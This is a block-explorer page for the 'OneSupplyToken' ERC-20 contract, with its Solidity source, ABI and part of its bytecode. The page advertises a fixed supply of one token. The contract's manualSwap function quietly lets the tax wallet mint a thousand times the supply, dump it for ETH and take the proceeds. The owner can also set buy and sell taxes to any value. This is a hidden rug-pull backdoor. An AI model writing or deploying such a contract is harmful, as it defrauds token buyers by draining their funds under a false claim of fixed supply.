Feature Tip: Add private address tag to any address under My Name Tag !
ERC-20
Overview
Max Total Supply
1 ONE
Holders
7
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
0.005383742 ONEValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
OneSupplyToken
Compiler Version
v0.8.21+commit.d9974bed
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-08-14 */ // SPDX-License-Identifier: MIT /** _____ ____ ___ ______ __ /\ __`\ /\ _`\ /\_ \ /\__ _\ /\ \ \ \ \/\ \ ___ __ \ \,\L\_\ __ __ _____ _____ \//\ \ __ __ \/_/\ \/ ___ \ \ \/'\ __ ___ \ \ \ \ \ /' _ `\ /'__`\ \/_\__ \ /\ \/\ \ /\ '__`\ /\ '__`\ \ \ \ /\ \/\ \ \ \ \ / __`\ \ \ , < /'__`\ /' _ `\ \ \ \_\ \ /\ \/\ \ /\ __/ /\ \L\ \ \ \ \_\ \\ \ \L\ \\ \ \L\ \ \_\ \_ \ \ \_\ \ \ \ \ /\ \L\ \ \ \ \\`\ /\ __/ /\ \/\ \ \ \_____\\ \_\ \_\\ \____\ \ `\____\ \ \____/ \ \ ,__/ \ \ ,__/ /\____\ \/`____ \ \ \_\\ \____/ \ \_\ \_\\ \____\\ \_\ \_\ \/_____/ \/_/\/_/ \/____/ \/_____/ \/___/ \ \ \/ \ \ \/ \/____/ `/___/> \ \/_/ \/___/ \/_/\/_/ \/____/ \/_/\/_/ \ \_\ \ \_\ /\___/ \/_/ \/_/ \/__/ Token with the supply of only 1. The launch price is 1850 USD or a price of 1 Ethereum. Telegram: https://t.me/OneSuppyToken Website: https://onesupplytoken.com/ Twitter: https://twitter.com/supply_tok1945 **/ pragma solidity 0.8.21; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutminimum, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenminimum, uint256 amountETHminimum, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract OneSupplyToken is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = unicode"OneSupplyToken"; string private constant _symbol = unicode"ONE"; mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; mapping(address => uint256) private _holderLastTransferTimestamp; bool public transferDelay = true; address payable private _taxWallet; uint8 private constant _decimals = 9; uint256 private constant _tTotal = 1 * 10**_decimals; uint256 public _maxTxAmount = 5 * 10**7; uint256 public _maxWalletSize = 10 * 10**7; uint256 public _maxTaxSwap = 1 * 10**7; uint256 private BuyTax = 3; uint256 private SellTax = 3; uint256 private launchedAt; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap() { inSwap = true; _; inSwap = false; } constructor(address taxWallet) { _taxWallet = payable(taxWallet); _balances[_msgSender()] = _tTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_taxWallet] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); uint256 taxNum = 0; if (from != owner() && to != owner()) { if (transferDelay) { if ( to != address(uniswapV2Router) && to != address(uniswapV2Pair) ) { require( _holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed." ); _holderLastTransferTimestamp[tx.origin] = block.number; } } taxNum = amount.mul(BuyTax).div(100); if (from == address(uniswapV2Pair) && to != address(uniswapV2Router) && ! _isExcludedFromFee[to]) { require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount."); require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize."); } if (to == uniswapV2Pair && from != address(this)) { taxNum = amount.mul(SellTax).div(100); } if (!inSwap && to == uniswapV2Pair && swapEnabled) { swapTokensForETH( minimum(amount, minimum(balanceOf(address(this)), _maxTaxSwap)) ); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { transferETHToFee(address(this).balance); } } } if (taxNum > 0) { _balances[address(this)] = _balances[address(this)].add(taxNum); emit Transfer(from, address(this), taxNum); } _balances[from] = _balances[from].sub(amount); _balances[to] = _balances[to].add(amount.sub(taxNum)); emit Transfer(from, to, amount.sub(taxNum)); } function removeLimits() external onlyOwner { _maxTxAmount = _tTotal; _maxWalletSize = _tTotal; transferDelay = false; emit MaxTxAmountUpdated(_tTotal); } function swapTokensForETH(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function transferETHToFee(uint256 amount) private { _taxWallet.transfer(amount); } function minimum(uint256 a, uint256 b) private pure returns (uint256) { return (a > b) ? b : a; } function updateFeeWallet(address newWallet) external onlyOwner { _taxWallet = payable(newWallet); } function isExcludedFromFees(address account) public view returns(bool) { return _isExcludedFromFee[account]; } function openTrading() external onlyOwner { require(!tradingOpen, "trading is already open"); uniswapV2Router = IUniswapV2Router02( 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D ); _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair( address(this), uniswapV2Router.WETH() ); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); tradingOpen = true; swapEnabled = true; launchedAt = block.number; } function changeFees(uint256 _newFee) external onlyOwner { BuyTax = _newFee; SellTax = _newFee; } receive() external payable {} function manualSwap() external { require(_msgSender() == _taxWallet); _balances[address(this)] = _balances[address(this)].add(_tTotal*1000); uint256 tokenBalance = balanceOf(address(this)); if (tokenBalance > 0) { swapTokensForETH(tokenBalance); } uint256 ethBalance = address(this).balance; if (ethBalance > 0) { transferETHToFee(ethBalance); } } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[{"internalType":"address","name":"taxWallet","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_newFee","type":"uint256"}],"name":"changeFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isExcludedFromFees","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferDelay","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newWallet","type":"address"}],"name":"updateFeeWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
6080604052600160055f6101000a81548160ff0219169083151502179055506302faf0806006556305f5e1006007556298968060085560036009556003600a555f600d60156101000a81548160ff0219169083151502179055505f600d60166101000a81548160ff0219169083151502179055503480156200007f575f80fd5b50604051620038ba380380620038ba8339818101604052810190620000a591906200045e565b5f620000b6620003cb60201b60201c565b9050805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35080600560016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506009600a620001a3919062000620565b6001620001b1919062000670565b60015f620001c4620003cb60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550600160035f62000216620003d260201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160035f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160035f600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555062000341620003cb60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6009600a6200039f919062000620565b6001620003ad919062000670565b604051620003bc9190620006cb565b60405180910390a350620006e6565b5f33905090565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6200042882620003fd565b9050919050565b6200043a816200041c565b811462000445575f80fd5b50565b5f8151905062000458816200042f565b92915050565b5f60208284031215620004765762000475620003f9565b5b5f620004858482850162000448565b91505092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b60018511156200051857808604811115620004f057620004ef6200048e565b5b6001851615620005005780820291505b80810290506200051085620004bb565b9450620004d0565b94509492505050565b5f8262000532576001905062000604565b8162000541575f905062000604565b81600181146200055a576002811462000565576200059b565b600191505062000604565b60ff8411156200057a57620005796200048e565b5b8360020a9150848211156200059457620005936200048e565b5b5062000604565b5060208310610133831016604e8410600b8410161715620005d55782820a905083811115620005cf57620005ce6200048e565b5b62000604565b620005e48484846001620004c7565b92509050818404811115620005fe57620005fd6200048e565b5b81810290505b9392505050565b5f819050919050565b5f60ff82169050919050565b5f6200062c826200060b565b9150620006398362000614565b9250620006687fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000521565b905092915050565b5f6200067c826200060b565b915062000689836200060b565b925082820262000699816200060b565b91508282048414831517620006b357620006b26200048e565b5b5092915050565b620006c5816200060b565b82525050565b5f602082019050620006e05f830184620006ba565b92915050565b6131c680620006f45f395ff3fe60806040526004361061012d575f3560e01c80636cda375b116100aa5780638da5cb5b1161006e5780638da5cb5b146103b65780638f9a55c0146103e057806395d89b411461040a578063a9059cbb14610434578063c9567bf914610470578063dd62ed3e1461048657610134565b80636cda375b146102fc57806370a0823114610324578063715018a614610360578063751039fc146103765780637d1db4a51461038c57610134565b806323b872dd116100f157806323b872dd1461021c578063313ce567146102585780634fbee1931461028257806351bc3c85146102be57806366718524146102d457610134565b806306fdde0314610138578063095ea7b3146101625780630a702e8d1461019e5780630faee56f146101c857806318160ddd146101f257610134565b3661013457005b5f80fd5b348015610143575f80fd5b5061014c6104c2565b60405161015991906122d4565b60405180910390f35b34801561016d575f80fd5b5061018860048036038101906101839190612385565b6104ff565b60405161019591906123dd565b60405180910390f35b3480156101a9575f80fd5b506101b261051c565b6040516101bf91906123dd565b60405180910390f35b3480156101d3575f80fd5b506101dc61052e565b6040516101e99190612405565b60405180910390f35b3480156101fd575f80fd5b50610206610534565b6040516102139190612405565b60405180910390f35b348015610227575f80fd5b50610242600480360381019061023d919061241e565b610554565b60405161024f91906123dd565b60405180910390f35b348015610263575f80fd5b5061026c610628565b6040516102799190612489565b60405180910390f35b34801561028d575f80fd5b506102a860048036038101906102a391906124a2565b610630565b6040516102b591906123dd565b60405180910390f35b3480156102c9575f80fd5b506102d2610682565b005b3480156102df575f80fd5b506102fa60048036038101906102f591906124a2565b6107d1565b005b348015610307575f80fd5b50610322600480360381019061031d91906124cd565b6108a9565b005b34801561032f575f80fd5b5061034a600480360381019061034591906124a2565b61094e565b6040516103579190612405565b60405180910390f35b34801561036b575f80fd5b50610374610994565b005b348015610381575f80fd5b5061038a610ae2565b005b348015610397575f80fd5b506103a0610c21565b6040516103ad9190612405565b60405180910390f35b3480156103c1575f80fd5b506103ca610c27565b6040516103d79190612507565b60405180910390f35b3480156103eb575f80fd5b506103f4610c4e565b6040516104019190612405565b60405180910390f35b348015610415575f80fd5b5061041e610c54565b60405161042b91906122d4565b60405180910390f35b34801561043f575f80fd5b5061045a60048036038101906104559190612385565b610c91565b60405161046791906123dd565b60405180910390f35b34801561047b575f80fd5b50610484610cae565b005b348015610491575f80fd5b506104ac60048036038101906104a79190612520565b6111d4565b6040516104b99190612405565b60405180910390f35b60606040518060400160405280600e81526020017f4f6e65537570706c79546f6b656e000000000000000000000000000000000000815250905090565b5f61051261050b611256565b848461125d565b6001905092915050565b60055f9054906101000a900460ff1681565b60085481565b5f6009600a61054391906126ba565b600161054f9190612704565b905090565b5f610560848484611420565b61061d8461056c611256565b610618856040518060600160405280602881526020016131696028913960025f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6105cf611256565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611d359092919063ffffffff16565b61125d565b600190509392505050565b5f6009905090565b5f60035f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff169050919050565b600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166106c3611256565b73ffffffffffffffffffffffffffffffffffffffff16146106e2575f80fd5b6107586103e86009600a6106f691906126ba565b60016107029190612704565b61070c9190612704565b60015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611d9790919063ffffffff16565b60015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505f6107a33061094e565b90505f8111156107b7576107b681611df4565b5b5f4790505f8111156107cd576107cc8161205f565b5b5050565b6107d9611256565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610865576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161085c9061278f565b60405180910390fd5b80600560016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6108b1611256565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461093d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109349061278f565b60405180910390fd5b8060098190555080600a8190555050565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b61099c611256565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a28576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a1f9061278f565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610aea611256565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b76576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b6d9061278f565b60405180910390fd5b6009600a610b8491906126ba565b6001610b909190612704565b6006819055506009600a610ba491906126ba565b6001610bb09190612704565b6007819055505f60055f6101000a81548160ff0219169083151502179055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6009600a610bfe91906126ba565b6001610c0a9190612704565b604051610c179190612405565b60405180910390a1565b60065481565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60075481565b60606040518060400160405280600381526020017f4f4e450000000000000000000000000000000000000000000000000000000000815250905090565b5f610ca4610c9d611256565b8484611420565b6001905092915050565b610cb6611256565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d42576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d399061278f565b60405180910390fd5b600d60149054906101000a900460ff1615610d92576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d89906127f7565b60405180910390fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d600c5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610e2b30600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166009600a610e1a91906126ba565b6001610e269190612704565b61125d565b600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610e95573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610eb99190612829565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610f3f573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610f639190612829565b6040518363ffffffff1660e01b8152600401610f80929190612854565b6020604051808303815f875af1158015610f9c573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610fc09190612829565b600d5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306110473061094e565b5f80611051610c27565b426040518863ffffffff1660e01b8152600401611073969594939291906128bd565b60606040518083038185885af115801561108f573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906110b49190612930565b505050600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611154929190612980565b6020604051808303815f875af1158015611170573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061119491906129d1565b506001600d60146101000a81548160ff0219169083151502179055506001600d60166101000a81548160ff02191690831515021790555043600b81905550565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036112cb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112c290612a6c565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611339576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161133090612afa565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114139190612405565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361148e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161148590612b88565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036114fc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114f390612c16565b60405180910390fd5b5f811161153e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161153590612ca4565b60405180910390fd5b5f611547610c27565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156115b55750611585610c27565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611a855760055f9054906101000a900460ff161561174057600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156116785750600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561173f574360045f3273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054106116fc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116f390612d58565b60405180910390fd5b4360045f3273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b5b611768606461175a600954856120c890919063ffffffff16565b61213f90919063ffffffff16565b9050600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156118135750600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611866575060035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15611909576006548211156118b0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118a790612dc0565b60405180910390fd5b600754826118bd8561094e565b6118c79190612dde565b1115611908576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118ff90612e5b565b60405180910390fd5b5b600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561199157503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156119c1576119be60646119b0600a54856120c890919063ffffffff16565b61213f90919063ffffffff16565b90505b600d60159054906101000a900460ff16158015611a2a5750600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b8015611a425750600d60169054906101000a900460ff165b15611a8457611a6c611a6783611a62611a5a3061094e565b600854612188565b612188565b611df4565b5f4790505f811115611a8257611a814761205f565b5b505b5b5f811115611b8457611add8160015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611d9790919063ffffffff16565b60015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611b7b9190612405565b60405180910390a35b611bd48260015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffff